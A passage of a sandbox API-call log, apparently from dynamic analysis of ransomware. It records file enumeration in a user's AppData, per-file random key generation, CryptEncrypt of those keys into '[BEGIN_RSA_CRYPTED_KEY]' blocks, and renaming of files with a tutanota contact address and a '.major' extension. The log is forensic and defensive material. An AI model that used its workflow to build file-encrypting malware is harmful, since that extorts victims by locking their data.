dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.977] FindNextFileW (in: hFindFile=0x2f2e458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c67879, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33c67879, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33c8da93, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.977] FindNextFileW (in: hFindFile=0x2f2e458, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c67879, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33c67879, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33c8da93, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.977] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4d0c1c24, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6c8aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33c8da93, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e418 [0207.977] FindNextFileW (in: hFindFile=0x2f2e418, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4d0c1c24, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6c8aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33c8da93, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.979] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.979] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\AC\\INetCache\\container.dat", dwFileAttributes=0x80) returned 1 [0207.980] ReadFile (in: hFile=0x16b4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0207.980] SetFilePointer (in: hFile=0x16b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.980] WriteFile (in: hFile=0x16b4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0207.980] SetFilePointer (in: hFile=0x16b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0207.980] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.980] WriteFile (in: hFile=0x16b4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.981] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.981] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.981] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.982] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SBWh1Il8auP+xV/pVyqt+BZmHrX6r0NWGqh3WZNyGFKdjIs2QkMJwrVYJEuIk+AE\ntKT/EkRDMolfLyyXWxNnQO1gk3Q+Vh4v12Zs40puXXRvwRR5m8gA3yxzaoOGJ/09\nRnhVbPoaztHqYziOajMy5YpHt+QUKiLPsWowgtqvGhKuljAqjwG+ZsVtBUVbi8U5\nbtI3XxF2BEfduzYgEJ9wD7xG0KRD1Jm4e36N5iRbJ2Pbsi5HWT8JQYoMaWEPljLu\nP+zqt2lIgEmfELTk/xGHJLQgnXPE5EsqmPt7S3aWmogNxckCRahLB0D73Kzznpw0\n+1VaGWlrGuHhBFra9YiuAA==\n", pcchString=0x2e3f9a8) returned 1 [0207.982] WriteFile (in: hFile=0x16b4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.982] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.982] WriteFile (in: hFile=0x16b4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.982] CloseHandle (hObject=0x16b4) returned 1 [0207.984] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.984] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\AC\\INetCookies\\container.dat", dwFileAttributes=0x80) returned 1 [0207.984] ReadFile (in: hFile=0x16b8, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0207.984] SetFilePointer (in: hFile=0x16b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.985] WriteFile (in: hFile=0x16b8, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0207.985] SetFilePointer (in: hFile=0x16b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0207.985] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.985] WriteFile (in: hFile=0x16b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.986] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.986] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.986] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.986] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WFFHvdKh/zdaSYWyfHilLTuhLKgBX1XGmAsDo/f5hcr8tPBAA1wcGpYgLmd0nOhj\nBD38zwKnudhtoyjUrBBiW9W3j4ow92eBfa4vWC/GecVa9Qo4hWJAoRzXvbjH0kR/\n+y4QDLyKm+FaRSfEBQ62Dn5tK3jlyAXs5z/mHp4Ec32zc/YFjGyqWHJti3lK1DoQ\nPpSyKBgGDtq+LG9hcWW0Uqb6U9FFAu1js4sAEoilzkp5karv0wnGb+qcWfZeMq2q\nSI13JOQwmdobo/lxZ1olxBVKxxlX+MqNV5LjBjuBG/v5Kfz184NhGi/z06xyVd1t\nMDmWsySEE64XWnc9OZiMmQ==\n", pcchString=0x2e3f9a8) returned 1 [0207.986] WriteFile (in: hFile=0x16b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.987] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.987] WriteFile (in: hFile=0x16b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.987] CloseHandle (hObject=0x16b8) returned 1 [0207.989] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.989] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\DataRv\\offline-storage.data", dwFileAttributes=0x80) returned 1 [0207.997] ReadFile (in: hFile=0x16c0, lpBuffer=0x354b020, nNumberOfBytesToRead=0x300c18, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354b020*, lpNumberOfBytesRead=0x2e3f9b4*=0x300c18, lpOverlapped=0x0) returned 1 [0208.110] SetFilePointer (in: hFile=0x16c0, lDistanceToMove=-3148824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0208.110] WriteFile (in: hFile=0x16c0, lpBuffer=0x385c020*, nNumberOfBytesToWrite=0x300c18, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x385c020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x300c18, lpOverlapped=0x0) returned 1 [0208.154] SetFilePointer (in: hFile=0x16c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x300c18 [0208.154] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0208.154] WriteFile (in: hFile=0x16c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0208.154] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0208.154] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0208.155] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0208.155] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oYv7Hhf49NZBnghafF9SssdaQaky5sOWUzWWAZxKOoym9dUTbFtd1EP2p3v7Gyux\nuDVhhavT6a6aBhoj2VM9otV8tEUh5rPcbYSkF/f51etsCV75/g/TFHyOLpFoN9US\n3nTZwYRYFU/tVSZ2KHEL4l42HoOmM5RrbufAMH5QGPwJFJcrdzOkCkitotygTRas\nIubhoJL4o5KXy62Xuu5GXILkysw678+ptKgUBwa4yxiGzK1ycdUuYj/NEfnKm6Wi\nzeDXI3sP0xK45E46zmP8wl0z/rR5bDt/tumkqaXbPi0rlZbPbZJbWmz/03vnF7/+\nv9X+3YKhJYpTZFHXJ0q4cw==\n", pcchString=0x2e3f9a8) returned 1 [0208.155] WriteFile (in: hFile=0x16c0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0208.155] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0208.155] WriteFile (in: hFile=0x16c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0208.156] CloseHandle (hObject=0x16c0) returned 1 [0208.156] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\DataRv\\offline-storage.data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\datarv\\offline-storage.data"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\DataRv\\offline-storage.data.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\datarv\\offline-storage.data.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0208.158] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0208.159] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\DataRv\\offline-storage-ecs.data", dwFileAttributes=0x80) returned 1 [0208.159] ReadFile (in: hFile=0x16c0, lpBuffer=0x3542020, nNumberOfBytesToRead=0x200818, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3542020*, lpNumberOfBytesRead=0x2e3f9b4*=0x200818, lpOverlapped=0x0) returned 1 [0208.303] SetFilePointer (in: hFile=0x16c0, lDistanceToMove=-2099224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0208.303] WriteFile (in: hFile=0x16c0, lpBuffer=0x3759020*, nNumberOfBytesToWrite=0x200818, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3759020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x200818, lpOverlapped=0x0) returned 1 [0208.501] SetFilePointer (in: hFile=0x16c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x200818 [0208.501] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0208.501] WriteFile (in: hFile=0x16c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0208.513] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0208.513] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0208.513] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0208.513] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xWA+NR12bCrx+0ysK4sDOCI8gIvbhxZ0tM9r+yD1Vfp1if0HnZdSxtMR3FToW9WG\nU4AR6hJeAXxUVx84rS1PF2A0WNHe2cMbIBD69pui005FJ94ZLj+jOUMnG7ElxQXG\niqGjQShlV1c0ONlmDqMSyLK0H5IZ5KKvWGDN3oq70AXVzXFkKWS0+92DV6gEL5Gw\n7+hq4fxxYRRM+oAch1srCOdYSG8pOM1YtJPm7DIH9DCJ4PrZ9vVS8JzyQM4RXR06\nZG7wEo/7TNhpLxn6HU6dLUzTSbh5+WIn10bCQ7kckaEurGN7ITG5JX/b9+gch0qN\nY48asUOzJIaz535ixQpFLg==\n", pcchString=0x2e3f9a8) returned 1 [0208.513] WriteFile (in: hFile=0x16c0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0208.514] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0208.514] WriteFile (in: hFile=0x16c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0208.514] CloseHandle (hObject=0x16c0) returned 1 [0208.515] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\DataRv\\offline-storage-ecs.data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\datarv\\offline-storage-ecs.data"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\DataRv\\offline-storage-ecs.data.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\datarv\\offline-storage-ecs.data.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0208.518] SetLastError (dwErrCode=0x0) [0208.518] GetLastError () returned 0x0 [0208.518] SetLastError (dwErrCode=0x0) [0208.518] GetLastError () returned 0x0 [0208.518] SetLastError (dwErrCode=0x0) [0208.518] SetLastError (dwErrCode=0x0) [0208.518] GetLastError () returned 0x0 [0208.518] SetLastError (dwErrCode=0x0) [0208.518] GetLastError () returned 0x0 [0208.518] SetLastError (dwErrCode=0x0) [0208.518] SetLastError (dwErrCode=0x0) [0208.518] GetLastError () returned 0x0 [0208.518] SetLastError (dwErrCode=0x0) [0208.518] SetLastError (dwErrCode=0x0) [0208.518] SetLastError (dwErrCode=0x0) [0208.518] GetLastError () returned 0x0 [0208.519] SetLastError (dwErrCode=0x0) [0208.519] SetLastError (dwErrCode=0x0) [0208.519] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0208.519] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\RootTools\\roottools.conf", dwFileAttributes=0x80) returned 1 [0208.519] ReadFile (in: hFile=0x16c4, lpBuffer=0x5be5d8, nNumberOfBytesToRead=0x4b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5be5d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x4b, lpOverlapped=0x0) returned 1 [0208.520] SetFilePointer (in: hFile=0x16c4, lDistanceToMove=-75, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0208.520] WriteFile (in: hFile=0x16c4, lpBuffer=0x5be370*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5be370*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4b, lpOverlapped=0x0) returned 1 [0208.521] SetFilePointer (in: hFile=0x16c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4b [0208.521] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0208.521] WriteFile (in: hFile=0x16c4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0208.522] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0208.522] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0208.522] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0208.522] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lwP12Zwemlcy0WvCvy7Cj1o+07qPvSMT5ItJcZts6LNlpl9GN/gkuax5xObQ3U6o\nNtFWslp4UOJ5yQnsIEjNdkKFfOr9q2F4sO+XpBIKM9wTf1EZsbM4MCjN5+KSv8dl\n0q/i0AXJuM9jGjkHv5k4/WB++3i106xD3l9cMJjpCY2+MUk3Gy8y6tS0qhid779/\n6aSjM/FlyKNPmDay9aGcxj6NWddXpjqJZcna5Vrn53sM1IYZh0zAH5kPQV2dMhFG\nQ+NQSGpIm8iB5HE0zkmIFlXNAb3Di3OjmBQU6JdKbrrOauToj8yg/DMTBd68ibqD\nn13rAscbxZZIEBpSpEe0qQ==\n", pcchString=0x2e3f9a8) returned 1 [0208.522] WriteFile (in: hFile=0x16c4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0208.523] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0208.523] WriteFile (in: hFile=0x16c4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0208.524] CloseHandle (hObject=0x16c4) returned 1 [0208.524] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\RootTools\\roottools.conf" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\roottools\\roottools.conf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\RootTools\\roottools.conf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\roottools\\roottools.conf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0208.529] SetLastError (dwErrCode=0x0) [0208.529] GetLastError () returned 0x0 [0208.529] SetLastError (dwErrCode=0x0) [0208.530] GetLastError () returned 0x0 [0208.530] SetLastError (dwErrCode=0x0) [0208.530] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0208.530] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0208.530] SetLastError (dwErrCode=0x0) [0208.530] GetLastError () returned 0x0 [0208.530] SetLastError (dwErrCode=0x0) [0208.530] GetLastError () returned 0x0 [0208.530] SetLastError (dwErrCode=0x0) [0208.530] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0208.530] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0208.530] SetLastError (dwErrCode=0x0) [0208.530] GetLastError () returned 0x0 [0208.530] SetLastError (dwErrCode=0x0) [0208.530] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0208.531] SetLastError (dwErrCode=0x0) [0208.531] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656da8 [0208.531] SetLastError (dwErrCode=0x12) [0208.531] GetLastError () returned 0x12 [0208.531] SetLastError (dwErrCode=0x12) [0208.531] GetLastError () returned 0x12 [0208.531] SetLastError (dwErrCode=0x12) [0208.531] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0208.531] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be528 [0208.531] SetLastError (dwErrCode=0x12) [0208.531] GetLastError () returned 0x12 [0208.531] SetLastError (dwErrCode=0x12) [0208.531] GetLastError () returned 0x12 [0208.531] SetLastError (dwErrCode=0x12) [0208.531] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0208.531] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be688 [0208.531] SetLastError (dwErrCode=0x12) [0208.531] GetLastError () returned 0x12 [0208.532] SetLastError (dwErrCode=0x12) [0208.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0208.532] SetLastError (dwErrCode=0x12) [0208.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656b00 [0208.532] SetLastError (dwErrCode=0x12) [0208.532] GetLastError () returned 0x12 [0208.532] SetLastError (dwErrCode=0x12) [0208.532] GetLastError () returned 0x12 [0208.532] SetLastError (dwErrCode=0x12) [0208.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0208.532] 